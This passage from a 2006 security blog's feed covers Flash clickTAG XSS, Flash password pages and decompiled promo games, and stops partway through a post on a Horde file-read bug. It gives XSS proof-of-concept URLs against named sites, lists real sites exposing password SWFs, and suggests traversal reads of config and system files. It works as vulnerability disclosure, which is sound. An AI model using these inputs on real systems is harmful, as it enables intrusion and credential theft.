malicious URL. &lt;br /&gt;&lt;script type="text/javascript"&gt;&lt;!--&lt;br /&gt;google_ad_client = "pub-6066920721030083";&lt;br /&gt;google_ad_width = 336;&lt;br /&gt;google_ad_height = 280;&lt;br /&gt;google_ad_format = "336x280_as";&lt;br /&gt;google_ad_type = "text";&lt;br /&gt;google_ad_channel ="7608161024";&lt;br /&gt;google_color_border = "FFFFFF";&lt;br /&gt;google_color_bg = "FFFFFF";&lt;br /&gt;google_color_link = "000000";&lt;br /&gt;google_color_text = "000000";&lt;br /&gt;google_color_url = "0000FF";&lt;br /&gt;//--&gt;&lt;/script&gt;&lt;br /&gt;&lt;script type="text/javascript"&lt;br /&gt;  src="http://pagead2.googlesyndication.com/pagead/show_ads.js"&gt;&lt;br /&gt;&lt;/script&gt;&lt;br /&gt;&lt;a href="http://www.securiteam.com/securitynews/5XP0B0U9PE.html"&gt;The&lt;/a&gt; &lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=2003-0208"&gt;vulnerability&lt;/a&gt; above is &lt;a href="http://lists.grok.org.uk/pipermail/full-disclosure/2003-April/004514.html"&gt;not&lt;/a&gt; &lt;a href="http://marc.theaimsgroup.com/?l=bugtraq&amp;m=105033712615013&amp;w=2"&gt;new&lt;/a&gt;, in fact the research was carried out by a firm called "Scan Security Wire" a few years ago. They discovered that advertisers were (and still are) using a simple click tracking mechanism. The code was widely distributed among advertiser sites and affiliates, the problem of course was that it was not properly evaluated. One has to wonder why even to this day, three years after the discovery and &lt;a href="http://www.adobe.com/resources/richmedia/tracking/designers_guide/"&gt;updated guide&lt;/a&gt;, high profile sites still fall prae to it.&lt;br /&gt;&lt;br /&gt;Searching google for "clicktag" produces about &lt;span style="font-weight:italic;"&gt;thirty thousand pages&lt;/span&gt;. Some hits are caches of the vulnerability advisory, others are vulnerable sites, and the rest are advertisers showing clients how to create vulnerable clickTAG-style Flash files. &lt;span style="font-style:bold;"&gt;Disinformation&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;The following URLs are evidence that high profile advert networks and cooperations are spreading the vulnerability:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://advertising.msn.com/adproducts/submitads_flash"&gt;MSN&lt;/a&gt;, &lt;a href="http://advertising.msn.be/WWDocs/User/nl-be/AdProducts/clicktag.pdf"&gt;MSN #2 (.pdf)&lt;/a&gt;, &lt;a href="http://www.msn.com.tw/ad/clickTAG/Default.asp"&gt;MSN #3&lt;/a&gt;, &lt;a href="http://advertising.msn.nl/AdProducts/CreativeSpecDetail.aspx?CreativeSpecID=%09%09495"&gt;MSN #4&lt;/a&gt;, &lt;a href="http://advertising.msn.co.uk/AdProducts/CreativeSpecDetail.aspx?CreativeSpecID=%09%09417"&gt;MSN #5&lt;/a&gt;, &lt;a href="http://advertising.msn.dk/AdProducts/CreativeSpecDetail.aspx?CreativeSpecID=%09%09418"&gt;MSN #6&lt;/a&gt;, &lt;a href="http://advertise.sympatico.msn.ca/Ad_Guidelines/TechnicalSpecifications/"&gt;MSN #7&lt;/a&gt;, &lt;a href="http://advertising.msn.se/AdProducts/CreativeSpecDetail.aspx?CreativeSpecID=%09%09417"&gt;MSN #8&lt;/a&gt;, &lt;a href="http://advertising.msn.es/AdProducts/CreativeSpecDetail.aspx?CreativeSpecID=%09%09417"&gt;MSN #9&lt;/a&gt;, &lt;a href="http://advertising.msn.it/AdProducts/CreativeSpecDetail.aspx?CreativeSpecID=%09%09417"&gt;MSN #10&lt;/a&gt;, &lt;a href="http://advertising.prodigy.msn.com/AdProducts/CreativeSpecDetail.aspx?CreativeSpecID=%09%09417"&gt;MSN #11&lt;/a&gt;&lt;br /&gt;&lt;a href="http://solutions.yahoo.com/search/php/flash_instructions.pdf"&gt;Yahoo (.pdf)&lt;/a&gt;, &lt;a href="http://hk.solutions.yahoo.com/emarketing/adcentral_flash_specifications.htm"&gt;Yahoo #2&lt;/a&gt;&lt;br /&gt;&lt;a href="http://demo.doubleclick.com/generators/docs/clickTag.htm"&gt;Doubleclick&lt;/a&gt;, &lt;a href="http://demo.doubleclick.com/generators/docs/designer_version.pdf"&gt;Doubleclick #2 (.pdf)&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://money.cnn.com/services/mediakit/Rich_Media.html"&gt;CNN&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.cnetnetworks.com/i/b20/clickTAG.doc"&gt;CNET (.doc)&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.vh1.com/asm/adspecs.jhtml"&gt;VH1&lt;/a&gt;&lt;br /&gt;&lt;a href="http://cbs.sportsline.com/info/mediakit/specs/submit"&gt;CBS&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.fox.com/advertise/"&gt;FOX&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.oxygen.com/basics/pdf/banner_ad_specs.pdf"&gt;Oxygen (.pdf)&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.forbes.com/fdc/adspecs.pdf"&gt;Forbes&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.ifilm.com/about/advertise.jsp"&gt;ifilm&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.mtv.com/asm/adspecs/fileformat.jhtml"&gt;MTV&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.nytimes.com/marketing/adinfo/rate_richmedia.html"&gt;NYTimes&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.heise.de/mediadaten/online/service/flash.shtml"&gt;Heise&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.ostg.com/pdfs/Specs_Flash.pdf"&gt;OSTG / Slashdot (.pdf)&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The high profile sites mentioned above are continuously propagating out-dated and vulnerable clickTAG code which will then spread through their advertisers. Those advertisers will turn around and upload their vulnerable .swf files to their web servers, or their marketing networks, and open up the XSS attack vector.&lt;br /&gt;&lt;br /&gt;XSS (Cross Site Scripting) is not severe enough that you can execute remote commands on a server, but client-side it can be a mess. The &lt;a href="http://www.sophos.com/virusinfo/analyses/jsspaceheroa.html"&gt;Samy&lt;/a&gt; and &lt;a href="http://xavsec.blogspot.com/2005/12/new-myspace-xss-worm-circulating.html"&gt;GodOfTheNoose&lt;/a&gt; worms that spread to millions of users worldwide on MySpace (though malicious only in its infection and propagation) cost MySpace hours of work, a multitude of bandwidth costs (due to the spread) and presumably left a bad taste in the mouth of advertisers and cooperate owners of the site.&lt;br /&gt;&lt;br /&gt;I've contacted MySpace recently concerning several XSS holes specific to the clickTAG vulnerability, same goes for Xanga. One has to assume a multitude of high profile sites are affected by this bug. Below are some Proof of Concepts of the attack mentioned in this post: &lt;blockquote&gt;MySpace: &lt;a href="http://lads.myspace.com/06_04/MS-60412-13-ORGA-JN/fri_west.swf?clickTag=javascript:[xss]"&gt;#1&lt;/a&gt;, &lt;a href="http://lads.myspace.com/06_04/MS-60412-13-ORGA-JN/fri_east.swf?clickTag=javascript:[xss]"&gt;#2&lt;/a&gt;, &lt;a href="http://lads.myspace.com/06_04/MS-60412-13-ORGA-JN/june_5_west.swf?clickTag=javascript:[xss]"&gt;#3&lt;/a&gt;, &lt;a href="http://lads.myspace.com/06_04/MS-60412-13-ORGA-JN/june_5_east.swf?clickTag=javascript:[xss]"&gt;#4&lt;/a&gt;, &lt;a href="http://lads.myspace.com/06_04/MS-60412-13-ORGA-JN/NP_ver2_728x90_tri.swf?clickTag=javascript:[xss]"&gt;#5&lt;/a&gt;, &lt;a href="http://lads.myspace.com/06_04/MS-60412-13-ORGA-JN/NP_ver3_300x300.swf?clickTag=javascript:[xss]"&gt;#6&lt;/a&gt;, &lt;a href="http://lads.myspace.com/06_04/MS-60412-13-ORGA-JN/tuesday_west.swf?clickTag=javascript:[xss]"&gt;#7&lt;/a&gt;, &lt;a href="http://lads.myspace.com/06_04/MS-60412-13-ORGA-JN/tuesday_east.swf?clickTag=javascript:[xss]"&gt;#8&lt;/a&gt;, &lt;a href="http://lads.myspace.com/06_05/MS-60522-FOXX-DB/rev_3_24.swf?clickTag=javascript:[xss]"&gt;#9&lt;/a&gt;&lt;br /&gt;Yahoo: &lt;a href="http://us.yimg.com/a/ya/yahoo_canada/lawnmover_f_300x100.swf?clickTAG=javascript:[xss]"&gt;#1&lt;/a&gt;&lt;br /&gt;Xanga: &lt;a href="http://mediakit.xanga.com/bob/300x250viiv_banner_girl_02.swf?clickTag=javascript:[xss]"&gt;#1&lt;/a&gt;&lt;/blockquote&gt;It should be noted that Google, AOL, and Time (magazine), among others, seem to have directed their advertisers into the right direction by showing real-world examples of working examples that do not compromise their security. Example:&lt;br /&gt;&lt;a href="https://adwords.google.co.uk/select/imageguidelines.html"&gt;https://adwords.google.co.uk/select/imageguidelines.html&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;  &lt;script type="text/javascript"&gt;&lt;!--
google_ad_client = "pub-6066920721030083";
google_ad_width = 180;
google_ad_height = 150;
google_ad_format = "180x150_as";
google_ad_type = "text_image";
google_ad_channel ="";
google_color_border = ["000000","B4D0DC","CCCCCC","333333"];
google_color_bg = ["F0F0F0","ECF8FF","FFFFFF","000000"];
google_color_link = ["0000FF","0000CC","000000","FFFFFF"];
google_color_url = ["008000","008000","666666","999999"];
google_color_text = ["000000","6F6F6F","333333","CCCCCC"];
//--&gt;&lt;/script&gt;
&lt;script type="text/javascript"
  src="http://pagead2.googlesyndication.com/pagead/show_ads.js"&gt;
&lt;/script&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/16578208-114955985930096037?l=xavsec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xavsec.blogspot.com/feeds/114955985930096037/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=16578208&amp;postID=114955985930096037' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/16578208/posts/default/114955985930096037'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/16578208/posts/default/114955985930096037'/><link rel='alternate' type='text/html' href='http://xavsec.blogspot.com/2006/06/your-space-my-flash-his-cookies.html' title='Your Space, My Flash, His Cookies'/><author><name>Xavier</name><uri>http://www.blogger.com/profile/00785855826635701771</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-16578208.post-114758671855593904</id><published>2006-05-14T00:15:00.000-04:00</published><updated>2007-11-12T21:07:06.081-05:00</updated><title type='text'>Security through Compression...?</title><content type='html'>While messing around with Flash/ActionScript generating products, I ended up at &lt;a href="http://www.coffeecup.com/password-wizard/"&gt;CoffeCup's Password Wizard&lt;/a&gt; product page. Several things came to mind; first: the product claims it can password "protect" unlimited pages, second: it contains absolutely &lt;span style="font-weight: bold;"&gt;NO&lt;/span&gt; warnings about lax in security, and three: it seems to have been downloaded by a large number of people.&lt;br /&gt;&lt;br /&gt;The idea behind using a third party language and/or object/application to do password protection &lt;span style="font-style: italic;"&gt;client side&lt;/span&gt; instead of &lt;span style="font-style: italic;"&gt;server side&lt;/span&gt; is very dangerous. In this case in order for your password 'protection' to work, a user's browser ends up downloading the .swf file as an object and executes it under the web browsers flash plug in. Once the object is executed, you'll see a login window.&lt;br /&gt;&lt;br /&gt;The problem lies in the fact that the authentication handling is done inside that .swf file/object. All an attacker has to do is download the flash file and he/she has the opportunity to see whats inside. It is understandable that the common user doesn't have concepts of security in mind, and sees such products as useful tools for their personal web sites. That is where the things turns ugly.&lt;br /&gt;&lt;br /&gt;Imagine a situation where an attacker is aiming to break into a server; he spends his time mapping out the target, scanning for common vulnerabilities, and somehow in the mix discovers a loan password.swf in a users directory. He downloads the file, uses GNU strings to simply gather the logins within.&lt;br /&gt;&lt;br /&gt;According to some &lt;a href="http://www.webwasp.co.uk/tutorials/a22-password/mx/index.php"&gt;sites&lt;/a&gt; you can secure your flash password protecting file by simply compressing it! I found several other sites claiming the same thing -- but lets just note that compressing the file will simply stop one form of seeing the logins. The other form is simply to decompile the flash file. Read my previous posts to get an idea of what kind of damage a that can do.&lt;br /&gt;&lt;br /&gt;Back to the hypothetical story though. By now the attacker has either found the logins he was looking for by using his favorite text editor or GNU strings, or he's gone and decompiled the file. Now with logins at hand, he can extend his penetration by gathering the usernames and passwords, and use them towards his advantage if those same logins happened to be used on the server as well.&lt;br /&gt;&lt;br /&gt;With free time I looked through Google for password "protected" sites. Surprisingly I was faced with a rather surprising number of hosts hosting these insecure files. Here are a few I found to be interesting:&lt;blockquote&gt;&lt;a href="http://oal.ohio.gov/Board.swf"&gt;http://oal.ohio.gov/Board.swf&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.wwfpak.org/images/password.swf"&gt;http://www.wwfpak.org/images/password.swf&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.infoaserca.gob.mx/mexbest/password.swf"&gt;http://www.infoaserca.gob.mx/mexbest/password.swf&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.iamb.it/en/password.swf"&gt;http://www.iamb.it/en/password.swf&lt;/a&gt;&lt;/blockquote&gt;Governments, Non-profit organizations, Financial firms, Educational institutions, and countless other groups of sites are vulnerable.&lt;br /&gt;&lt;br /&gt;Who is to blame? the company who sells a product which contains no warnings of its own insecurities, or the user herself for relying on third party applications?&lt;div class="blogger-post-footer"&gt;  &lt;script type="text/javascript"&gt;&lt;!--
google_ad_client = "pub-6066920721030083";
google_ad_width = 180;
google_ad_height = 150;
google_ad_format = "180x150_as";
google_ad_type = "text_image";
google_ad_channel ="";
google_color_border = ["000000","B4D0DC","CCCCCC","333333"];
google_color_bg = ["F0F0F0","ECF8FF","FFFFFF","000000"];
google_color_link = ["0000FF","0000CC","000000","FFFFFF"];
google_color_url = ["008000","008000","666666","999999"];
google_color_text = ["000000","6F6F6F","333333","CCCCCC"];
//--&gt;&lt;/script&gt;
&lt;script type="text/javascript"
  src="http://pagead2.googlesyndication.com/pagead/show_ads.js"&gt;
&lt;/script&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/16578208-114758671855593904?l=xavsec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xavsec.blogspot.com/feeds/114758671855593904/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=16578208&amp;postID=114758671855593904' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/16578208/posts/default/114758671855593904'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/16578208/posts/default/114758671855593904'/><link rel='alternate' type='text/html' href='http://xavsec.blogspot.com/2006/05/security-through-compression.html' title='Security through Compression...?'/><author><name>Xavier</name><uri>http://www.blogger.com/profile/00785855826635701771</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-16578208.post-114728459824168309</id><published>2006-05-10T14:04:00.000-04:00</published><updated>2006-05-18T07:24:06.546-04:00</updated><title type='text'>Google/Sony promotional game source code</title><content type='html'>Due to request, I went ahead and &lt;a href="http://www.yourfilehost.com/media.php?cat=other&amp;file=Google_Sony_DaVinci_Source_Code.rar"&gt;created an upload of the source code.&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The archive file is in .RAR format, so if you have WinRAR or some utility to extract the files within, then great. &lt;br /&gt;&lt;br /&gt;Also, it should be noted I put all the main Action Script code into individual text files, but if you have Macromedia 8 and ant access to all the images and other misc. source code, then go open up "main-src.fla". It contains everything from the font to sound and back.&lt;br /&gt;&lt;br /&gt;Enjoy.&lt;br /&gt;&lt;br /&gt;P.S: if the link doesn't work, just let me know.&lt;div class="blogger-post-footer"&gt;  &lt;script type="text/javascript"&gt;&lt;!--
google_ad_client = "pub-6066920721030083";
google_ad_width = 180;
google_ad_height = 150;
google_ad_format = "180x150_as";
google_ad_type = "text_image";
google_ad_channel ="";
google_color_border = ["000000","B4D0DC","CCCCCC","333333"];
google_color_bg = ["F0F0F0","ECF8FF","FFFFFF","000000"];
google_color_link = ["0000FF","0000CC","000000","FFFFFF"];
google_color_url = ["008000","008000","666666","999999"];
google_color_text = ["000000","6F6F6F","333333","CCCCCC"];
//--&gt;&lt;/script&gt;
&lt;script type="text/javascript"
  src="http://pagead2.googlesyndication.com/pagead/show_ads.js"&gt;
&lt;/script&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/16578208-114728459824168309?l=xavsec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xavsec.blogspot.com/feeds/114728459824168309/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=16578208&amp;postID=114728459824168309' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/16578208/posts/default/114728459824168309'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/16578208/posts/default/114728459824168309'/><link rel='alternate' type='text/html' href='http://xavsec.blogspot.com/2006/05/googlesony-promotional-game-source.html' title='Google/Sony promotional game source code'/><author><name>Xavier</name><uri>http://www.blogger.com/profile/00785855826635701771</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-16578208.post-114704904639941561</id><published>2006-05-07T18:06:00.000-04:00</published><updated>2006-05-10T13:27:05.886-04:00</updated><title type='text'>Google, Interactive Marketing, and SWF Decompiler</title><content type='html'>For weeks Google and Sony have been running a promotion for the film The DaVinci Code. It's even linked right on the front page of Google.com, and if you have a Google/Gmail account (and are logged into it) you can easily participate in the promotion by completing several logic games.  And, after enduring repetitive content and subliminal messages referring to The DaVinci Code, you may win some prizes. It is called "Interactive Marketing".&lt;br /&gt;&lt;br /&gt;In doing some research, it seems the developers of the logic games themselves are not Google folks, but instead flash designers at &lt;a href="http://www.bigspaceship.com/"&gt;BIG SPACESHIP&lt;/a&gt;. Sony uses the Google.com link and name brand to promote their film, and thats that. All parties are happy, as would anyone in a business deal be.&lt;br /&gt;&lt;br /&gt;Curious, and aware that the promotional games were developed in Flash, I went ahead and used a (recent) favorite toy &lt;a href="http://sothink.com/product/flashdecompiler/index.htm"&gt;Sothink SWF Decompiler&lt;/a&gt;. With it, I was able to decompile the flash file involved and found a few things of interest. &lt;br /&gt;&lt;br /&gt;In Sprite 248 (or __Packages.com.sony.davinci.puzzles.hang.HangPuzzle: which seems to be the code the game where you hang paintings on the wall) starting from line 218 to 222:&lt;blockquote&gt; if (_loc5)&lt;br /&gt;    {&lt;br /&gt;        big.utils.Out.info(this, "A WINNER IS YOU");&lt;br /&gt;        this.onPuzzleCompleted();&lt;br /&gt;    }&lt;/blockquote&gt;The quoted bit, "A WINNER IS YOU", is a reference to a Nintendo game called Pro Wrestling. It's used by old time Nintendo gamers, and posers.&lt;br /&gt;&lt;br /&gt;In Sprite 255 (or __Packages.com.sony.davinci.puzzles.sudoku.Sudoku: which seems to be the main code for the sudoku logic game) in function setStartPostion(), starting from line 1250 to 1254:&lt;blockquote&gt;            var _loc3 = $who;&lt;br /&gt;            if (_selectedPiece == _pieces[_loc3] &amp;&amp; Math.abs(_startPoint.x - _selectedPiece._x) &lt; 4.000000E-001 * _pieceLength[_plIndex])&lt;br /&gt;            {&lt;br /&gt;                big.utils.Out.info(this, "user is idiot clicking. Tell user to stop it.");&lt;br /&gt;            }&lt;/blockquote&gt;Apparently there is a human function called 'idiot clicking'.&lt;br /&gt;&lt;br /&gt;In Sprite 255 again, in function checkAnswer() from line 796 to 806:&lt;blockquote&gt;    function checkAnswer()&lt;br /&gt;    {&lt;br /&gt;        if (_gamePositionObj.toString() == _solutionObj.toString())&lt;br /&gt;        {&lt;br /&gt;            this.onYouWin();&lt;br /&gt;        }&lt;br /&gt;        else&lt;br /&gt;        {&lt;br /&gt;            this.onYouSuck();&lt;br /&gt;        } // end else if&lt;br /&gt;    } // End of the function&lt;/blockquote&gt;If you search for the onYouSuck() function, you'll find on lines 459 to 463:&lt;blockquote&gt;    function onYouSuck()&lt;br /&gt;    {&lt;br /&gt;        _board.loseAlert._visible = true;&lt;br /&gt;        _board.winAlert._visible = false;&lt;br /&gt;    } // End of the function&lt;/blockquote&gt;Again, the same reference from Sprite 248 was used in function onYouWin() from lines 464 to 469:&lt;blockquote&gt;    function onYouWin()&lt;br /&gt;    {&lt;br /&gt;        big.utils.Out.info(this, "a winner is you!");&lt;br /&gt;        delete _target.onEnterFrame;&lt;br /&gt;        super.onPuzzleCompleted();&lt;br /&gt;    } // End of the function&lt;/blockquote&gt;Finally, in function returnSymbol() on lines 710 to 711:&lt;blockquote&gt;                big.utils.Out.warning(this, "RETURN SYMBOL GOT FUX0RED // $mc._name.substr(0,2) = " + $mc._name.substr(0, 2));&lt;br /&gt;                break;&lt;/blockquote&gt;I got a kick out of this one because the developers involved did not censor themselves in saying the user idiot clicks, and sucks, Yet the word "Fuck", or in this case "Fucked" is censored. &lt;br /&gt;&lt;br /&gt;In Sprite 258 (or __Packages.com.sony.davinci.puzzles.jigsaw.Jigsaw: which seems to be the main code for the Jigsaw game) on line 397 you see all the answers listed in a variable called &lt;span style="font-style:italic;"&gt;_LEVELDATA&lt;/span&gt;. Apparently these are the answers to all the Jigsaw questions:&lt;blockquote&gt;Level 1: rows: 4, cols: 4, symbols: 0, City Answer: "newyork", "newyorkcity"&lt;br /&gt;&lt;br /&gt;Level 2: rows: 4, cols: 4, symbols: 1, City Answer: "rome", "roma"&lt;br /&gt;&lt;br /&gt;Level 3: rows: 4, cols: 4, symbols: 4, City Answer: "london", Trivia Answer: "imperialcollegelondon", "imperial", "imperialcollegeofsciencetechnologyandmedicine", "imperialcollege"&lt;br /&gt;&lt;br /&gt;Level 4: rows: 4, cols: 4, symbols: 9, City Answer: "paris", Trivia Answer: "square", "squares", "squarenumbers", "squarenumber", "thesquarenumbers", "thesquares"&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;In Sprite 259 (or __Packages.com.sony.davinci.puzzles.hang.blobs.BlobsPuzzle: seems to be the code for the Blobs game, where there are globs of crap on the paintings and you need to clean them up) starting with function onPuzzleFailed() on line 255 to 261:&lt;blockquote&gt;    function onPuzzleFailed()&lt;br /&gt;    {&lt;br /&gt;        var _loc2 = "Sorry, there are no more valid pairs.&lt;br&gt;Click OK to reset the puzzle.";&lt;br /&gt;        clearInterval(_interval);&lt;br /&gt;        big.utils.Out.debug(this, "you #%%*ed up");&lt;br /&gt;        com.sony.davinci.puzzles.Main.showDialog(_loc2, 0, {str: "OK", obj: this, func: resetPuzzle});&lt;br /&gt;    } // End of the function&lt;/blockquote&gt;Here we see another censored comment. In function onPuzzleSolved() on lines 262 to 267:&lt;blockquote&gt;    function onPuzzleSolved()&lt;br /&gt;    {&lt;br /&gt;        clearInterval(_interval);&lt;br /&gt;        big.utils.Out.debug(this, "you are teh winnar");&lt;br /&gt;        this.onPuzzleCompleted();&lt;br /&gt;    } // End of the function&lt;/blockquote&gt;&lt;a href="http://www.encyclopediadramatica.com/index.php/Teh"&gt;Explanation of above&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;UPDATE:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;In Sprite 257 (or __Packages.com.sony.davinci.puzzles.hang.observation.Observation: which seems to be the code for the Observation game) inside function resetPuzzle() you see a _LEVELDATA variable set with questions and answers and they go as follows:&lt;blockquote&gt;Level 1&lt;br /&gt;Questions: &lt;br /&gt;a) In the video, we see Robert Langdon dusting off a classical symbol, one associated with a character we only see a brief &lt;b&gt;&lt;u&gt;glimpse&lt;/u&gt;&lt;/b&gt; of in the video. What is the name of that oft-gilded symbol?&lt;br /&gt;&lt;br /&gt;b) Symbols, and symmetry, can be seen in the most unlikely of places. One such example is the position of the body at the crime scene, which resembles a drawing also depicted on the obverse of the Italian one-euro coin. What is the name of that famous Leonardo Da Vinci drawing?&lt;br /&gt;&lt;br /&gt;c) One of the most iconic symbols of the movie is the cryptex, a small cylinder of stacked marble disks, embossed with letters and sealed with brass caps at either end. The twenty-six letters allow for almost twelve million possible password combinations--11,881,376, to be exact. Armed with that knowledge, can you tell us how many dials it has?&lt;br /&gt;&lt;br /&gt;Answers: &lt;br /&gt;a) fleurdelis or fleurdelys&lt;br /&gt;b) vitruvianman or thevitruvianman or canonofproportions or proportionsofman or uomovitruviano or luomovitruviano&lt;br /&gt;c) 5 or five&lt;br /&gt;&lt;br /&gt;Level 2&lt;br /&gt;Questions: &lt;br /&gt;a) A seemingly-important stone object is extracted from the ground by Silas. What is its shape?&lt;br /&gt;&lt;br /&gt;b) An interesting viewpoint is the vantage point from which we last see Silas. What is the last thing we see him touch?&lt;br /&gt;&lt;br /&gt;c) During the action in the video, we see many things shattered and destroyed, but what is it that will ultimately be broken? &lt;br /&gt;&lt;br /&gt;Answers: &lt;br /&gt;a) octagon or octagonal&lt;br /&gt;b) holywater or font or "baptismalfont&lt;br /&gt;c) silence or thesilence&lt;br /&gt; &lt;br /&gt;Level 3&lt;br /&gt;Questions: &lt;br /&gt;a) Speaking of fascinating characters, there's only one letter in the entire video that is clearly written in lower-case. What is that letter?&lt;br /&gt;&lt;br /&gt;b) In just one word, the noble Sir Leigh describes the pursuit that both he and you are on. What is that word?&lt;br /&gt;&lt;br /&gt;c) And to bring this back to the topic of movie spectacles, how many times is Sir Leigh shown wearing his? His spectacles, that is.&lt;br /&gt;&lt;br /&gt;Answers: &lt;br /&gt;a) f&lt;br /&gt;b) quest&lt;br /&gt;c) 7 or seven&lt;br /&gt; &lt;br /&gt;Level 4&lt;br /&gt;Questions: &lt;br /&gt;a) Cryptography is all about noticing numbers and patterns. Here's a simple one to start with: how many glass panes are visible on each of the doors to Sir Teabing\'s mansion?&lt;br /&gt;&lt;br /&gt;b) Although it refers to words not spoken, we hear it spoken three times. What is that word?&lt;br /&gt;&lt;br /&gt;c) This final question will really test your powers of observation. What is the name of the character shown holding a votive candle holder?&lt;br /&gt;&lt;br /&gt;Answers:&lt;br /&gt;a) 9 or nine&lt;br /&gt;b) secret or secrets&lt;br /&gt;c) silas&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;That is it for now, as it seems nothing more of interest lies in the comments. Let me just note: though this post doesn't discuss any specific vulnerabilities, it was fun regardless to sift through this marketing project and see what kind of stuff Google is willing to plaster on their site.&lt;br /&gt;&lt;br /&gt;It also should be noted that you can easily use the decompiled code to create a "crack" for all the logic games. all the answers and puzzles can be solved before you even have to put a thought into it.&lt;div class="blogger-post-footer"&gt;  &lt;script type="text/javascript"&gt;&lt;!--
google_ad_client = "pub-6066920721030083";
google_ad_width = 180;
google_ad_height = 150;
google_ad_format = "180x150_as";
google_ad_type = "text_image";
google_ad_channel ="";
google_color_border = ["000000","B4D0DC","CCCCCC","333333"];
google_color_bg = ["F0F0F0","ECF8FF","FFFFFF","000000"];
google_color_link = ["0000FF","0000CC","000000","FFFFFF"];
google_color_url = ["008000","008000","666666","999999"];
google_color_text = ["000000","6F6F6F","333333","CCCCCC"];
//--&gt;&lt;/script&gt;
&lt;script type="text/javascript"
  src="http://pagead2.googlesyndication.com/pagead/show_ads.js"&gt;
&lt;/script&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/16578208-114704904639941561?l=xavsec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xavsec.blogspot.com/feeds/114704904639941561/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=16578208&amp;postID=114704904639941561' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/16578208/posts/default/114704904639941561'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/16578208/posts/default/114704904639941561'/><link rel='alternate' type='text/html' href='http://xavsec.blogspot.com/2006/05/google-interactive-marketing-and-swf.html' title='Google, Interactive Marketing, and SWF Decompiler'/><author><name>Xavier</name><uri>http://www.blogger.com/profile/00785855826635701771</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-16578208.post-114543919115116450</id><published>2006-04-19T04:34:00.000-04:00</published><updated>2006-05-07T18:01:26.253-04:00</updated><title type='text'>Horde, eval(), Plesk, cPanel and others</title><content type='html'>The last week of march to the first of April it was noted that the Horde framework was vulnerable to two nasty bugs. The &lt;a href="http://seclists.org/lists/fulldisclosure/2006/Mar/0792.html"&gt;first bug&lt;/a&gt; allowed attackers to read local system files within jurisdiction of the web servers uid/gid. One may consider that to be a relatively useless bug, but as researchers the likes of &lt;a href="http://rgod.altervista.org/"&gt;rgod&lt;/a&gt; have pointed out -- local file inclusions can be nasty. If you inject a bunch of arbitrary requests into an access_log, then include that log -- you can execute code. I've tried it, and was impressed. &lt;br /&gt;&lt;br /&gt;However, the situation with the bug referenced above uses readfile(), which doesn't execute the code, just reads and spits out the specified garbage. You can still have fun though, how?&lt;blockquote&gt;1) Read Horde's configurationm file (../config/conf.php) With luck, you can dump the database remotely. With even more luck, you may find some user hashes in the database, and they'll be valid on the system you're attacking. &lt;br /&gt;&lt;br /&gt;2) Check out the system version, /etc/issue, etc and 